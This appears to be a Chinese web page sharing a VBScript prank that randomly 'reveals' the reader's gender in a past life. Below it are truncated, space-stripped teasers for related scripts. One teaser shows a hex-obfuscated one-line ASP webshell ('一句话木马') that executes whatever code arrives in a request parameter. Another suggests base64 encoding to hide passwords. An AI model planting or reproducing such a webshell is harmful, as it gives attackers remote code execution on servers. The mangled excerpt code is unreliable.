vbs算命测试一下你上辈子是男是女

Dim MyValue, Response,data,thisd  
data="30007|22899|22934"  
thisd=Split(data, "|", -1, 1)  
Randomize '初始化随机数生成器。  
Do Until Response = vbyes  
   MyValue = Int((3* Rnd) + 1)' 产生 1 到 3 之间的随机数。  
   result="&#"&thisd(MyValue-1)  
   If result="妖" Then result="人妖"  
Set objExplorer = WScript.CreateObject("InternetExplorer.Application")  
objExplorer.Navigate "about:blank"   
objExplorer.ToolBar = 0  
objExplorer.StatusBar = 0  
objExplorer.Visible = 1  
objExplorer.height=300  
objExplorer.width=400  
objExplorer.left=400  
objExplorer.resizable=0  
objExplorer.Document.Body.InnerHTML ="你上辈子是"&result  
   Response = MsgBox ("确认? ", vbYesNo)  
Loop 

把以上代码保存成vbs后缀，双击即可以。看得结果请回复，嘿嘿

vbs版的解密base64加密的脚本
FunctionfDecode(sStringToDecode)'ThisfunctionwilldecodeaBase64encodedstringandreturnsthedecodedstring.'Thisbecomesusefullwhenattemptingtohidepasswordsfrompryingeyes.ConstCharList="ABCDEFGHIJKLMNOPQRST

更牛的一句话asp木马加密（去掉asp里的%）
不知道怎样表达清楚。看例子吧：scriptlanguage=vbsrunat=serverExecute(HextoStr("65786563757465287265717565737428636872283335292929"))FunctionHextoStr(data)HextoStr="EXECUTE"""""C="&CHR(&H

用vbs发送带附件的邮件
functionSend_mail(You_Account,You_Password,Send_Email,Send_Email2,Send_Topic,Send_Body,Send_Attachment)'codebyNetPatch'VBS发送邮件参数说明'You_Account：你的邮件帐号'You_Password:你的